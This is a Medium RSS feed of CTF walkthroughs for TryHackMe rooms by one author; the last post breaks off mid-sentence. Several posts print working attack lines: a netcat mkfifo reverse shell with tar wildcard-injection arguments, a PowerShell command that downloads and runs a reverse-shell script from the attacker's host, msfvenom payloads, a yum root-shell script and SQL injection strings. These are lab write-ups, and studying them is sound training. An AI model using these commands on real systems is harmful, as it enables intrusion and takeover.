<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by VxRabbit on Medium]]></title>
        <description><![CDATA[Stories by VxRabbit on Medium]]></description>
        <link>https://medium.com/@VxRabbit?source=rss-b41a48c07279------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*cVdaH5bF2GhZYrKz</url>
            <title>Stories by VxRabbit on Medium</title>
            <link>https://medium.com/@VxRabbit?source=rss-b41a48c07279------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 02 Dec 2026 09:32:48 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@VxRabbit/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Daily Bugle | THM Walkthrough]]></title>
            <link>https://medium.com/@VxRabbit/daily-bugle-thm-walkthrough-6bbf0b59ef06?source=rss-b41a48c07279------2</link>
            <guid isPermaLink="false">https://medium.com/p/6bbf0b59ef06</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[VxRabbit]]></dc:creator>
            <pubDate>Mon, 13 Oct 2025 16:55:56 GMT</pubDate>
            <atom:updated>2025-10-13T16:55:56.121Z</atom:updated>
            <content:encoded><![CDATA[<p>بسم الله والصلاة والسلام على نبينا المجاهد الشهيد</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/951/1*QgiclM-uBQMohgvgLJZRdw.png" /></figure><h3>📌 Challenge Info:</h3><ul><li>🧱 <strong>Room</strong>: Daily Bugle</li><li>🌍 <strong>Category</strong>: Web, Linux</li><li>🧠 <strong>Difficulty</strong>: Hard</li></ul><p>Welcome, in this challenge we will Compromise a Joomla CMS account via SQLi, practise cracking hashes and escalate our privileges by taking advantage of yum, so let’s start</p><p>first I start enumerate network services with nmap</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EGZoJC8qEi_UzektAcVOWg.png" /></figure><p>I Explore the website at port 80</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*3DmWmB_9y_RxpDzfWjXH7g.png" /></figure><p>I search in the page source but nothing interesting found it, so I check robots.txt and I found a list of endpoints</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NVgJjYzdcLVhpTU9GZ1lvg.png" /></figure><p>after going to the /administrator endpoint, It turned out that the website use Joomla CMS</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2eikA2_GuM72Au7ulPWq9Q.png" /></figure><p>I search on google on how to Identify Joomla CMS version, I find that I can know the version by exploring this xml file <strong><em>language/en-GB/en-GB.xml</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-Wek_pcaIIyQCXQit4Ei8Q.png" /></figure><p>after Identify the version 3.7.0 I search for public exploits related with it, the version was vulnerable to SQLi vulnerabilitie</p><p>I use this exploit from github</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QT-ZPVa7kCxDar3YrT-cfQ.png" /></figure><p>I run the exploit and I found the username and the hashed password for the user</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jfHKpzdPnPwp-3tpqto2Pw.png" /></figure><p>I crack the hashed password with john the ripper</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xn96uoZiahxYmnJcOutTAg.png" /></figure><p>now I use the credentials that I have in the administrator panel</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3ZFbUzlr-t2q1qSUThLfXw.png" /></figure><p>I search in google again on how to upload a reverse shell in Joomla CMS, I found a few ways but only one worked for me.</p><p>the Idea of this method is go to templates and overwrite index.php or any other .php file with your reverse shell after that enter go to index.php and you will get a reverse shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9BLsVPrUxMN8ndUA0BOmnw.png" /></figure><p>the method work and I get the reverse shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TIbtBpXhvq383NYaFWFVzA.png" /></figure><p>I was stack here for a long time so I use linpeas, maybe he will find something I didn’t find it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*35XHQmfAniAZBm95hu2yOA.png" /></figure><p>I transfer linpeas to the target machine and run it, after a few minutes the script finish, I started looking for what he might have found and It seems that he found a password in php config files</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UxXIvMgGigm9gBcakRR26A.png" /></figure><p>there is a user in the home directory, so I try to use the password with this user and it works</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*thAdJ-8IXBEYL8ek-Eec0A.png" /></figure><p>I use sudo -l to find if the user have permissions to run any binary with sudo and without password, I found that I can run the binary yum with sudo</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9WsyJr3lsNNCAF5G5fhc5A.png" /></figure><p>I search in GTFOBins and I found on it a method to get the root shell using yum, all you need to do is copy paste this</p><pre>TF=$(mktemp -d)<br>cat &gt;$TF/x&lt;&lt;EOF<br>[main]<br>plugins=1<br>pluginpath=$TF<br>pluginconfpath=$TF<br>EOF<br><br>cat &gt;$TF/y.conf&lt;&lt;EOF<br>[main]<br>enabled=1<br>EOF<br><br>cat &gt;$TF/y.py&lt;&lt;EOF<br>import os<br>import yum<br>from yum.plugins import PluginYumExit, TYPE_CORE, TYPE_INTERACTIVE<br>requires_api_version=&#39;2.1&#39;<br>def init_hook(conduit):<br>  os.execl(&#39;/bin/sh&#39;,&#39;/bin/sh&#39;)<br>EOF<br><br>sudo yum -c $TF/x --enableplugin=y</pre><p>finally the root shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cgLxjv8zlcOQd2ZN5ohFBw.png" /></figure><p>Thanks for reading</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6bbf0b59ef06" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Skynet | THM Walkthrough]]></title>
            <link>https://medium.com/@VxRabbit/skynet-thm-walkthrough-55342cddb04d?source=rss-b41a48c07279------2</link>
            <guid isPermaLink="false">https://medium.com/p/55342cddb04d</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[VxRabbit]]></dc:creator>
            <pubDate>Sat, 11 Oct 2025 13:55:44 GMT</pubDate>
            <atom:updated>2025-10-11T13:55:44.864Z</atom:updated>
            <content:encoded><![CDATA[<p>بسم الله والصلاة والسلام على نبينا المجاهد الشهيد</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/938/1*6fIEoHByVsdohwb-S5HbtA.png" /></figure><h3>📌 Challenge Info:</h3><ul><li>🧱 <strong>Room</strong>: Skynet</li><li>🌍 <strong>Category</strong>: Web, Linux</li><li>🧠 <strong>Difficulty</strong>: Easy</li></ul><p>Welcome, in this room we will hack a vulnerable Terminator themed Linux machine. let’s start</p><p>I start enumerate network services with nmap</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d8muwOwbQFa-o0noslJ1qw.png" /></figure><p>I notice that smb port was open, so I list the available shares using this command</p><pre>smbclient -L //IP/</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SqZVwrDdr9zMzJlcjyfOyA.png" /></figure><p>I found that I can access anonymous share without any credentials, there is two intersting files in this share you can notice the others files are empty because of the size are 0</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WEco8IwBQUKqLHY-hvVJUA.png" /></figure><p>I Read the files, the first was a message and the second file look like a List of passwords we can use It to brute force accounts</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9GzMfMUhVgulCz6tg8dqOA.png" /></figure><p>now I go to explore the website on port 80 and there is nothing interesting I found than a search box</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/925/1*GiqAZmh4vwysREWBEkVfmw.png" /></figure><p>so I start brute force directories using gobuster</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v_vhzVOnTM4RuE1uivXW7g.png" /></figure><p>I go to the config and admin endpoints and what I got is 403 forbbiden, so I can’t access this endpoints, but the /squirrelmail endpoint was accessible</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pgzTzydf2QB2bnilOOiXFA.png" /></figure><p>since I have the username from attention.txt file and a list of passwords from log1.txt, I Try to brute force SquirreMail panel with hydra</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*23_nx8-ZzFDoPmPBZmjCag.png" /></figure><p>I logged in with the credentials, and a found an email that have the password of milesdyson for his smb share</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*it5JbQ36X9FVHeqdT5FQ5w.png" /></figure><p>when I login to milesdyson share I found an interesting file his name important.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oY18TxXZG6TCRkgAi0XgCA.png" /></figure><p>I find in this txt file a secret endpoint</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/789/1*xaM8AF6e4l7BdLV5J9csWw.png" /></figure><p>I start brute forcing other directories under this endpoint and I found /administrator login page</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SSAKGWcyI1ReodxomuN_Ag.png" /></figure><p>I notice the name <strong><em>Cuppa CMS</em></strong>, so I start searching for any public exploits related with this CMS and I found one</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SIF96fqGlC7B2k99nxMq5Q.png" /></figure><p>the vulnerability here is RFI, to exploit this vulnerability whe need first a php reverse shell and setup a python server in the directory that the shell on it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sRppbwMGrVxMzyXRnMFv9Q.png" /></figure><p>after that setup a listener using netcat and make the server Include your reverse shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YaQ3IQzxcIgd4in2zyusOg.png" /></figure><p>the connection established and I found the first flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TGYpoGHmx7_436RjYY6tiw.png" /></figure><p>while I explore the system I found in the /etc/crontab a bash script his name backup.sh that run every minute, I read the script and what I find it do is archive all the files in the /var/www/html directory</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bhLdIoOzFUhxvSifOWjmiA.png" /></figure><p>I search on google and I found that this script is vulnerable to Wildcard Injection, and to exploit this misconfiguration we have to go through these steps</p><p>Move to/var/www/html and create this malicious bash script and these tar arguments using the below commands:</p><pre>echo &quot;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&gt;&amp;1|nc &lt;your ip&gt; 4444 &gt;/tmp/f&quot; &gt; shell.sh<br><br>echo &quot;&quot; &gt; &quot;--checkpoint-action=exec=sh shell.sh&quot;<br><br>echo &quot;&quot; &gt; --checkpoint=1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9PxjlqwbIx8-yGezRUpGDA.png" /></figure><p>after that setup a netcat listener and wait 1 minute to get the root shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6p4hVfiRcAOaf20l8HeIHA.png" /></figure><p>Thanks For Reading.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=55342cddb04d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Game Zone | THM Walkthrough]]></title>
            <link>https://medium.com/@VxRabbit/game-zone-thm-walkthrough-92b797af3053?source=rss-b41a48c07279------2</link>
            <guid isPermaLink="false">https://medium.com/p/92b797af3053</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[VxRabbit]]></dc:creator>
            <pubDate>Fri, 10 Oct 2025 21:26:34 GMT</pubDate>
            <atom:updated>2025-10-10T21:26:34.495Z</atom:updated>
            <content:encoded><![CDATA[<p>بسم الله والصلاة والسلام على نبينا المجاهد الشهيد</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xSHd-QKIZuen9idn_mQVAA.png" /></figure><h3>📌 Challenge Info:</h3><ul><li>🧱 <strong>Room</strong>: Game Zone</li><li>🌍 <strong>Category</strong>: Web, Linux</li><li>🧠 <strong>Difficulty</strong>: Easy</li></ul><p>Welcome, today we will hack into this machine. Understand how to use SQLMap, crack some passwords, reveal services using a reverse SSH tunnel and escalate our privileges to root. so let’s start</p><p>I begin scanning network services with nmap</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kww7ozeark0cfvOFoU2f0w.png" /></figure><p>I explore the website on port 80 and I found an image of agent 47 and a login form</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/1*Euihei6iCrXcQ08c30l2yw.png" /></figure><p>when you find a login form you can think of many methods to bypass it like default credentials, username enumeration and brute force attacks, and you can think also of SQLi.</p><p>so I find that the login form vulnerable to SQLi and I can bypass Authentication with this payload</p><pre>&#39; OR 1=1 -- -</pre><p>when I bypass the login form it redirect me to portal.php and there is a search box inside it, and like you may think maybe this search box is also vulnerable to SQLi</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vMjD8OzMiN_89e9xUtBdpA.png" /></figure><p>notice that when I enter a single quotation in the search box it respond with an SQL Syntax Error</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2_RPo2UHy9zgrFcIKCJ5og.png" /></figure><p>I find the search box vulnerable to Union-based SQLi with this working payload</p><pre>&#39; UNION SELECT 1,2,3 -- -</pre><p>I used SQLMap to automate the process of dumping the database</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YMqUALwC8ZvcgHQXJzb0dg.png" /></figure><p>once SQLMap finish, it return me a username and a hashed password</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IviODk7Jq5KhkBu3nsfG0Q.png" /></figure><p>I crack the hashed password using an online tool called CrackStation</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*33JqLkS9k61p0qLAVlPtxA.png" /></figure><p>I login to ssh with the credentials that I have and find the user flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GrOU-lzsauuxpijuNcBmiw.png" /></figure><p>I notice an internal service running on port 10000 blocked via a firewall rule from the outside</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JOC4UPsbrsJ9l93tpqGYYw.png" /></figure><p>so we can’t access this service from outside but we can create a ssh tunnel that let’s us interact with this service like we are inside the network, to do that we will use this command</p><pre> ssh -L 10000:localhost:10000 &lt;username&gt;@&lt;ip&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SA3gyuql26_QZ95reJaZuQ.png" /></figure><p>now I have access to the restricted service</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x-HH921FU7DnZZVF2-LikA.png" /></figure><p>I try to login with the same credentials that I found earlier, it work and I have access to the webmin service</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*riQhFoIni9ohqs9Wujof2Q.png" /></figure><p>I search for public exploits in this specific version 1.580 of webmin, and I find an exploit on metasploit</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*95cv_sOzM5JahxJ5D6h1Cg.png" /></figure><p>in metasploit set the SSL option to false to prevent any Errors, the exploit give us the root privileges, so we don’t need to find any misconfiguration to escalate our privileges</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*um03ludmYRv8mOLw6lttuQ.png" /></figure><p>Thanks for Reading</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=92b797af3053" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Alfred | THM Walkthrough]]></title>
            <link>https://medium.com/@VxRabbit/alfred-thm-walkthrough-adbb270e78a2?source=rss-b41a48c07279------2</link>
            <guid isPermaLink="false">https://medium.com/p/adbb270e78a2</guid>
            <dc:creator><![CDATA[VxRabbit]]></dc:creator>
            <pubDate>Tue, 07 Oct 2025 18:31:29 GMT</pubDate>
            <atom:updated>2025-10-07T18:31:29.717Z</atom:updated>
            <content:encoded><![CDATA[<p>بسم الله والصلاة والسلام على نبينا المجاهد الشهيد</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/467/1*YKGqXYp7fkYO3-56vBZFYg.png" /></figure><h3>📌 Challenge Info:</h3><ul><li>🧱 <strong>Room</strong>: Alfred</li><li>🌍 <strong>Category</strong>: Windows</li><li>🧠 <strong>Difficulty</strong>: Easy</li></ul><p>Welcome, today we will exploit Jenkins to gain an initial shell, then escalate our privileges by exploiting Windows authentication tokens. If you don’t have an Idea of what Jenkins is, I advice you to learn about this topics ( DevOps, CI/CD, SDLC ) . so let’s start</p><p>first I start scanning network services with nmap</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ocRNaQhT7QwiEcYn9gHAJA.png" /></figure><p>Exploring the website at port 80 resulted with an image of bruce wayne, I didn’t find anything else.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wiORBjHHa2J-Qp8Hd54wuw.png" /></figure><p>I Explore the other website on port 8080, and I found a Jenking login panel on it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lWui0LZ9HhcL7i9fx2RltA.png" /></figure><p>I search in google for default credentials of Jenkins, and I find that it can be <strong><em>admin:admin</em></strong> or <strong><em>jenkins:jenkins, jenkins </em></strong>don’t work so I use <strong><em>admin </em></strong>and<strong><em> </em></strong>it work</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*585jWIY4ItjCIRKP97o4Uw.png" /></figure><p>I access to the project configuration by click on project and configure, I scroll down and I find a feature that allows me to execute Windows batch commands on the underlying system</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gZBrQ4FZGi7SK7Gx7ymMnA.png" /></figure><p>now we need to get a reverse shell but before that we must download Powershell script and make it available on the server.</p><p>so to do that download the Powershell script on your machine and setup a python server in the directory that have the script on it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L3zptIAkuAFebo3Gwt8mMQ.png" /></figure><p>now write this powershell command in Windows batch command and save it</p><pre>powershell iex (New-Object Net.WebClient).DownloadString(&#39;http://your-ip:your-port/Invoke-PowerShellTcp.ps1&#39;);Invoke-PowerShellTcp -Reverse -IPAddress your-ip -Port your-port</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SeU2FdiG77dd0D-9SWboyA.png" /></figure><p>to execute this command go to project again and click build now, once the server download the script setup a listener using netcat and repeat the same steps again.</p><p>we get a reverse shell and find the first flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/1*-OxjDy3aGcNR2mFEq1m72w.png" /></figure><p>To make the privilege escalation easier let’s switch to a meterpreter shell, to do this first create a Windows meterpreter reverse shell using the following payload</p><pre>msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=IP LPORT=PORT -f exe -o shell-name.exe</pre><p>setup a python server and execute this command in the target machine to download the malicious payload</p><pre>powershell -c &quot;(New-Object System.Net.WebClient).Downloadfile(&#39;http://your-ip:8000/shell-name.exe&#39;,&#39;shell-name.exe&#39;)&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mDvs8hPcPJv-ldGeTZN8kA.png" /></figure><p>now in metasploit use exploit/multi/handler and setup the options and start the shell in the target machine</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b10AOdNhiLT7z77_DHCliQ.png" /></figure><p>I use whoami /priv command and I find that the SeImpersonatePrivilege and SeDebugPrivilege options both are Enabled</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*r4_maR1r_BfG-QFACgYgkQ.png" /></figure><p>the combination of these two privileges can be used to perform more advanced exploitation. SeDebugPrivilege can be used to gain access to a SYSTEM-level process, and SeImpersonatePrivilege can then be used to impersonate the token of that process to spawn a new process with SYSTEM privileges.</p><p>to exploit this vulnerability we will use Incognito module, in metasploit run this commands</p><pre>load incognito </pre><p>now check the which tokens are available using this command on metasploit</p><pre>list_tokens -g</pre><p>I found the Administrator token are available</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SwK5Y43IqgpEKy4K178NNw.png" /></figure><p>Impersonate the token of the Administrator</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1008/1*_4-UQ1tp_tNLmWMK2ZoBSA.png" /></figure><p>notice that Even though you have a higher privileged token, you may not have the permissions of a privileged user, so to have the permissions we need to migrate to a process with correct permissions, The safest process to pick is the services.exe process.</p><p>use the <em>ps </em>command to view processes and find the PID of the services.exe process</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bb_rsN0FROzkEqpewbU7_Q.png" /></figure><p>Migrate to this process using the command</p><pre>migrate PID-OF-PROCESS</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1009/1*vuz2dFoO--6EhIqX0sLsVA.png" /></figure><p>finally we have the system privileges and we find the root flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_UmT4jXicPqXDfzal8C_1Q.png" /></figure><p>Thanks for Reading</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=adbb270e78a2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Steel Mountain | THM Walkthrough]]></title>
            <link>https://medium.com/@VxRabbit/steel-mountain-thm-walkthrough-f40f175ad8fb?source=rss-b41a48c07279------2</link>
            <guid isPermaLink="false">https://medium.com/p/f40f175ad8fb</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <dc:creator><![CDATA[VxRabbit]]></dc:creator>
            <pubDate>Mon, 06 Oct 2025 14:26:56 GMT</pubDate>
            <atom:updated>2025-10-06T14:26:56.051Z</atom:updated>
            <content:encoded><![CDATA[<p>بسم الله والصلاة والسلام على نبينا المجاهد الشهيد</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/651/1*0k92xx7j9C3BVVo_rfNJuQ.png" /></figure><h3>📌 Challenge Info:</h3><ul><li>🧱 <strong>Room</strong>: Steel Mountain</li><li>🌍 <strong>Category</strong>: Windows</li><li>🧠 <strong>Difficulty</strong>: Easy</li></ul><p>Welcome, today we gonna Hack into this Mr. Robot themed Windows machine from tryhackme, make sure you have a basic understanding of powershell and metasploit before begin in this room, so let’s start</p><p>I start scan network services with nmap and I found a range of open ports</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yJEySoIKoNQXkrYwUdj1gg.png" /></figure><p>Exploring the website at port 80 resulted with an image of a man presented to be an Employee of the the month</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/982/1*D5CkTxdws5vm23Ni5sPlmw.png" /></figure><p>view the page source we will find the name of the Employee</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yCxUPNivLIJbrszPCd73DA.png" /></figure><h4>Questions</h4><p>Who is the employee of the month?</p><pre>Bill Harper</pre><p>There was nothing else on the website, so I went to the other website on port 8080</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LTlk8HR6QXu9FDOy3zFByg.png" /></figure><p>I notice that there is Information about the server, Clicking on the link <strong>HttpFileServer 2.3</strong> opened a new webpage with name of the file server running</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jYQbJhKcPGPngE1k1h7vvA.png" /></figure><p>I search for any public exploits related with this version HttpFileServer 2.3 and I found that there is one and we can use it in metasploit</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WRWPD4PVgIxx45KsSKTLzA.png" /></figure><p>I use the exploit in metasploit and a meterpreter session was opened. This means that I was successful in gaining access to the target machine</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WFvDCcV_SYW1-Hg-xfG4Vg.png" /></figure><h4>Questions</h4><p>Scan the machine with nmap. What is the other port running a web server on?</p><pre>8080</pre><p>Take a look at the other web server. What file server is running?</p><pre>Rejetto HTTP File Server</pre><p>What is the CVE number to exploit this file server?</p><pre>2014-6287</pre><p>now after we gain access to the target machine we need to escalate our privileges. To enumerate this machine for misconfiguration, we will use a powershell script called PowerUp, that’s purpose is to evaluate a Windows machine and determine any abnormalities</p><p>download the script</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6vXdKaddekLYnDaySxkCNg.png" /></figure><p>upload the script from your machine to the target machine</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B54cQe08-4tUFCqAAoK37g.png" /></figure><p>before we execute the script we need to load powershell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_2S56pSvtee9a3d0MqnpmA.png" /></figure><p>after the scan completed notice the <strong>AdvancedSystemCareService9</strong> is vulnerable to <strong><em>unquoted service path</em></strong> vulnerability and also the <strong>CanRestart</strong> option is True this mean that after we replace our malicious payload we can restart the service to gain a high privilege shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3xpOQdXaKM8fd-UGDXEBQQ.png" /></figure><p>now we need to generate a malicious payload</p><pre>msfvenom -p windows/shell_reverse_tcp LHOST=CONNECTION_IP LPORT=4443 -e x86/shikata_ga_nai -f exe-service -o Advanced.exe</pre><p>upload it to the target machine</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tApEkntZfC8ii-aw5zuXbg.png" /></figure><p>copy the malicious payload to the vulnerable path and restart the service</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y0YKt57tnK8kbVXiw1ooCw.png" /></figure><p>finally we get a reverse shell with the system privileges</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G5lEWkJNxOaRwWs3pmVj1A.png" /></figure><p>Thanks for Reading</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f40f175ad8fb" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[GLITCH | THM Walkthrough]]></title>
            <link>https://medium.com/@VxRabbit/glitch-thm-walkthrough-30978b63df29?source=rss-b41a48c07279------2</link>
            <guid isPermaLink="false">https://medium.com/p/30978b63df29</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[VxRabbit]]></dc:creator>
            <pubDate>Sat, 09 Aug 2025 18:23:54 GMT</pubDate>
            <atom:updated>2025-09-23T11:39:44.099Z</atom:updated>
            <content:encoded><![CDATA[<p>بسم الله والصلاة والسلام على نبينا المجاهد الشهيد</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1002/1*vdn1SAe7wLE4GTdB1oVXEQ.png" /></figure><h3>📌 Challenge Info:</h3><ul><li>🧱 <strong>Room</strong>: GLITCH</li><li>🌍 <strong>Category</strong>: Web, Linux</li><li>🧠 <strong>Difficulty</strong>: Easy</li></ul><p>hello everyone, today I will show you how to solve this challenge from tryhackme, the Difficulty of this challenge easy but it was a little hard for me especially the privilege escalation, so Let’s start</p><p>I start enumeration with Nmap and I found port 80 open</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DEoKOIl28vWW5t8dYGx7FQ.png" /></figure><p>I open the IP in my browser, I found nothing</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BDe51AGR6T65kZ4w2cMt9Q.png" /></figure><p>I view the page source and I notice that there is an API endpoint</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bm-jjUXCm3p12xuf7iJqPA.png" /></figure><p>I went to the API endpoint and it returned to me a Base64 token</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/837/1*vPRS84cXDj8kzDBlf_xAIQ.png" /></figure><p>I decode the token use it in the Cookie and Reload the page, Notice that a new page has popped up in front of us.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L3z3uRgAIEQPFrzXljndGw.png" /></figure><p>now I view the page source again, there is a directory /js/script.js I open it and I found another API endpoint /api/items</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*deYY3PIzWy3VYoM2-c9QhA.png" /></figure><p>I went to the new API endpoint But I didn’t find anything interesting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8xKuj3hSSp6CibttwuLv1g.png" /></figure><p>I was stuck here for a while so I saw a hint, the hint say “What other methods does the API accept?” I don’t know why I didn’t think of it before It was so simple.</p><p>I change the request method to POST and send it, it returned to me in the response a message say “there is a glitch in the matrix”, One thing came to 